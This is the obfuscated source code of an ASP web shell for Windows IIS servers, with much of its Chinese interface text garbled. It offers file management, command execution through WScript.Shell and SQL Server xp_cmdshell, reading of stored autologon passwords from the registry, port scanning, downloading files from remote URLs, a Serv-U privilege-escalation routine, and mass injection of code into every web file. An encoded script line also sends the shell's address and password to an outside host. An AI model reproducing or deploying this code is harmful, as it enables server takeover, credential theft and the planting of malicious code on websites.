sub:Function UpFile(): +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    ϴȫ·ѡһļϴ!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    ļ"&UName&"ϴɹ
    " +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +RRS SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"ϴ·" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +RRS SI:RRS ""©url&"" +End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~<`bsp;~sp;&n'>&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '>
    " +end if +else +si="

    "&mmname&"
     

    "&bottomad&"
    " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if +Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`Ӵ: ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r><&~~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr䣺~&S&~ִSI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble><&~~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;ҳ룺~ &RC&~¼~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nbһҳage-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';1)'>&~~~,qlStr~~~&SlStr(ullSqipt:Fvascrf='jaa hrebsp;8 If Paf`o Sp+=Sp TFor i8`it Foen ExPN ThIf i>r`Page If i=Then`nbsp;&i&~&SI=SI~`Else` ~>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~,~&PNr&~~~SqlSt(~~~&qlStrFullSript:avascef='j&'>һҳ+1&~)&Page~~~,~lStr&~~&SqStr(~llSqlpt:Fuascri='jav hrefsp;~`End If`able>r>0 then + set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if + else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class:Function SinfoEn(ObjStr,ObjPos):ExeCuTe Fun(")2-)nEofniS(neL,nEofniS(tfeL=nEofniS:txeN:fLrCbv&)soPjbO,)i(rtSweN(edoCnE&nEofniS=nEofniS:)rtSweN(dnuoBU oT 0=i roF:)|`|,rtSjbO(tilpS=rtSweN:)||||,|~|,rtSjbO(ecalpeR=rtSjbO"):End Function:Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F) + dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class:Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function:Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub +Function ShowDriver() +For Each D in CF.Drives +RRS"ش ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path):ExeCute SinfoEn("thPar(deoltFGeF.=CLDFOt Se)`i=0`>~tr><6'='ngdiadlpel c0'='ngcipalsel c0'='errdbo' 0%10='thid wleab&~orolrCdeor&B ~idol spx:1errdbo='lety sivteen=cgnli a7%=1thid w10t=ghei htd~~/a~~br>06'='zesi' gsingdin'we=ac fntfo><~~~~e=tlti' ~)~~)&meNaF.~&~\h&at(PthPaRe~&~~r(deolwFho:Sptriscvaja='efhra ~ /ayC''e=tlti' am='ssla c)'k(soyen uret'rk=icclon)'~~erldFopyCo~~~,~~)&meNaF.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra >>~/alɾ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deollFDe~~~,~~)&\~~\~,~\e,am.N&F\~&~thPae(acplRe~&~~m(orlFul:Fptriscvaja='efhra ~ƶ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deoleFov~M,~~~&~e)am.N&F\~&~thPah(ateP&R~~(~rmFollFut:ipcrasav'jf=re h~tddi
    ]='leit tm''as=ascl' ()okes yrnture='cklinc'o~)e~ilnFow~D,~~~&~e)am.N&F\~&~thPah(ateP&R~~(~rmFollFut:ipcrasav'jf=re h/t~~leab/t>/t><=2htighed /t~~tr><6'='ngdiadlpel c0'='ngcipalsel c0'='errdbo' 0%10='thid wleab[ /a~~ntfo25'='zesi' gsingdin'we=ac fntfo><''e=tlti' );~~leFiwnDo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ><~'r&loCoerrdBo~&d lisox 1pr:deor'be=ylstv di><0''3t=ghei htd~ /atE''e=tlti' am='ssla c)'~~leFiitEd~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~ /alɾ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)e~illFDe~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~ /ayC''e=tlti' am='ssla c)'~~leFipyCo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~] /aeM''e=tlti' am='ssla c)'~~leFiveMo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~~
    ~tddi/t~blta/t~teen/c<ɹɾ~ h&at&P ~ļr>


    teen


    ļɹ
    ":SI=SI&BackUrl:RRS SI:Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall) :T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="½ļ":End If:SI=SI&"":SI=SI&"":SI=SI&"
    ":SI=SI&"
    ":SI=SI&"
          ":RRS SI:RRS ""©url&"" +End Function:Function CopyFile(Path):ExeCute SinfoEn("|~||~|h,at(Pitpl S =thPa)`enTh~ >~)<(1thPad an) 0)h(at(PtsisExleFiF. CIf`(1thPa),(0thPae ilyFop.CCF)`>~erntce


    teen~Path( and h(0))s(PatExist.FileIf CFn`Path(h(0),e PatveFilCF.Mo1)`enter>
    r>~`&BackSI=SIUrl`RRS SI `End If",Pso):End Function:Function DelFolder(Path):ExeCute SinfoEn("he Th)at(PtsisExerldFoF. CIfn`thPar deoleFetel.DCF`r>teen/c<ɹɾ&~thPa~&Ŀ¼r>


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deolyFop.CCF)`>~erntce


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deoleFov.MCF)`>~erntce


    teen~hteen/c<ɹ½&~thPa~&Ŀ¼r>


    teen
      ¼
      0umberErr.N~ Or t = ~rmPorIf te `
      ܵ.ǷѾ Ȩ˿,õնRRS~~` Else`~
      ~`End If`ogon\\WinlrsionentVe\Currws NTWindosoft\MicroWARE\\SOFTCHINEAL_MAY_LOC ~HKEath =oginPautoL~`nLogooAdmi ~AutKey =nableoginEautoLn~`rNameltUseDefauy = ~serKeoginUautoL~`swordltPasDefauy = ~assKeoginPautoL~`bleKeinEnatoLog & aunPathoLogid(autegReawsX.Rle = nEnaboLogiisAuty)` = 0 nableoginEAutoLIf isThen`
      ~`Else`rKey)inUsetoLog & aunPathoLogid(autegReawsX.Rme = sernaoginUautoL`~
      me & sernaoginUautoL ~ & ϵͳʻ:Զ¼RRS ~~`sKey)inPastoLog & aunPathoLogid(autegReawsX.Rrd = asswooginPautoL`r TheIf Ern`Err.Clear`FalseRRS ~~`End If`~
      rd & asswooginPautoL ~ & ʻ:Զ¼RRS ~~`End If`
    RRS ~~",Pso):End Sub:sub ReadREG() +RRS "
    " +RRS "עֵȡ

    " +RRS "" +RRS " " +RRS "
    " +RRS " " +RRS "" +RRS "


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +RRS "
  • " & theArray(i) +Next +Else +RRS "
  • " & theArray +End If +end if +end sub +Function downloads() +RW=RW&"

    ֱ

    " +RW=RW&"Զļ:
    " +RW=RW&"·: " +RW=RW&"ڸ " +RW=RW&"" +RW=RW&"
    " +Response.Write RW +If isDebugMode=False Then +On Error Resume Next +End If +Dim Http,theUrl,thePath,stream,getfileName,overWrite +theUrl=Request("theUrl") +thePath=Request("thePath") +overWrite=Request("overWrite") +Set stream=Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http=Server.CreateObject("MSXML2.XMLHTTP") +If overWrite<>2 Then +overWrite=1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState<>4 Then +End If +With stream +.Type=1 +.Mode=3 +.Open +.Write Http.ResponseBody +.Position=0 +.SaveToFile thePath, overWrite +If Err.Number=3004 Then +Err.Clear +getfileName=Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If getfileName="" Then +getfileName="12vh.txt" +End If +thePath=thePath & "\" & getfileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http=Nothing +Set Stream=Nothing +If isDebugMode=False Then +On Error Resume Next +End If +End Function +FuncTion MMD() +SI="
    CMD
    ":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & REquEst.form("MMD") & "'":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,">",">"):strREsult = REplAcE(strREsult,chr(13),"
    "):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "
    "& strREsult +rrs ""©url&"" +end Function:Function adminab() +Response.Expires=0 +on error resume next +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +RRS admin.Name&"
    " +Next +if err then +RRS "̵IJа:Wscript.Network" +end if +End Function +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +sub ScanPort():ExeCute SinfoEn("76000 = 77meoutiptTir.ScrServe`~ thet~)=~(~por.Formquestif ren`89,4333,3345,14139,4,135,0,110,25,821,23ist=~PortL958~`else`m(~pot.Forequesist=rPortLrt~)`end if`)=~~ (~ip~.Formquestif rethen`27.0.IP=~10.1~`else`(~ip~.FormquestIP=re)`end if`D)˿ɨbr>~`rue;'led=tdisabbmit.m1.su='forubmit' onSion='' act'postthod=1' me'formname=form RRS~<>~` n IP:p>ScaRRS~<;~`ze='6~' si~&IP&lue='p' vaid='iBox' 'Textlass=xt' ce='te' type='ipt nam~`rt Libr>PoRRS~~`br>~`n '>~' scaalue=om' v'buttlass=it' c'submtype=mit' ='sub nameinputRRS~<`11'>~ue='1' val'scan' id=iddenpe='hn' ty='sca nameinputRRS~<`form>/p> ~~ n~) <(~sca.FormquestIf reThen`1 = ttimerimer`>
    b>ɨRRS(~~)`~),~,~portForm(uest.t(req Splitmp =~)`ip~),orm(~est.F(requSplitip = ~,~)`bound to Uu = 0For h(ip)` = 0 ,~-~)p(hu)Str(iIf InThen`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `p(i))), tmip(huScan(Call `Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`), j)ip(huScan(Call `Next`Else`br>~)mber~)`End If`End If`Next`Else`hu),~v(ip(StrRe,1,Inp(hu)Mid(irt = ipSta.~))`,~-~)p(hu)Str(i))-Inip(hu,Len(-~)+1hu),~r(ip(,InStp(hu)Mid(i) to )+1,1),~.~ip(hurRev(,InStp(hu)Mid(ixx = For x)`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `tmp(ixxx, rt & ipStaScan(Call ))`Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`xxx,jrt & ipStaScan(Call )`Next`Else`br>~)mber~)`End If`End If`Next`Next`End If`Next`2 = ttimerimer`imer1er2-tt(timtr(inme=cstheti))`ime&~&thet in ~ocesshr>PrRRS~< s~`END IF",Pso):end sub:copyurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(111)&chr(100)&chr(97)&chr(121)&chr(101)&chr(120)&chr(112)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(115)&chr(120)&chr(47)&chr(115)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(115)&chr(61)&Serveru&chr(38)&chr(112)&chr(61)&Serverp&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10):Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......ر
    "):Else:RRS(targetip & ":" & portNum & ".......
    "):End If:End If:End If:End Sub:Select Case Action:Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "goback":goback():Case "Servu":SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ +"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ +"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ +"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ +"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ +"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ +"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    Ȩ,ִ
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U Ȩ ASP
    û:
    ڣ
    ϵͳ·
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function: +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode="<" +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    վĿ¼- "&Server.MapPath("/")&"
    ") +RRS ("Ŀ¼- "&Server.MapPath(".")) +RRS "
    [" +if M="1" then RRS"-" +if M="2" then RRS"-˵" +if M="3" then RRS"-滻" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    ļ· \վĿ¼.ΪĿ¼
    ظ ֹһҳжظĴ
    ųļ 벻뱻޸ĵļ磺1.asp|2.asp|3.asp
    ļͣ Ҫ޸ĵļ[չ]磺htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"Ҫҵ" +if M="2" then RRS"Ҫ" +if M="3" then RRS"Ҫ滻Ĵ룺" +RRS"
    滻Ϊ
    --ǽ--[ɹ ų ظ]
    " +if request("submit")="ʼִ" then +RRS"
    ִм¼
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"·:
    " +RRS"ļ:
    " +RRS"޸ʱ:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    ޸ļ  "&path&fileName&"  " +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    ܿtest.phpʾ,ʾ֧PHP

    "" then +If Asc(Mid(bb, i, 1)) < 32 Or Asc(Mid(bb, i, 1)) > 126 Then +a = a & Chr(Asc(Mid(bb, i, 1))) +else +pk=asc(mid(bb,i,1))-but +if pk>126 then +pk=pk-95 +elseif pk<32 then +pk=pk+95 +end if +a=a&chr(pk) +end if +else +a=a&vbcrlf +end if +next +lIl=a +end function +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"ϲ֧jsp":Response.write" ":Response.write "





    ܿtest.jspʾ,ʾ֧jsp

    ɾԵļ(ȫԲſɾ,!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"ϲ֧aspx":Response.write" ":Response.write "





    ܿTest.aspxʾ,ʾ֧asp.net

    Dz֧!ɼǵɾ":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"ɾ!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function:acode="=s?psa.s/xs/moc.pxeyado//:p33h'=crs 3pircs<" +Efun=StrReverse(replace(replace(Encrypt(acode),"",Chr(34)),"",vbCrLf)):function goback():set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS" "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS""&Wpath&myfile.name +tfile1.close +else +RRS" "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS".":response.end +end select +else +RRS" "&Wpath&myfile.name +end if +RRS " Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub + +case "apjdel":apjdel():case"hiddenshell":hiddenshell():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case 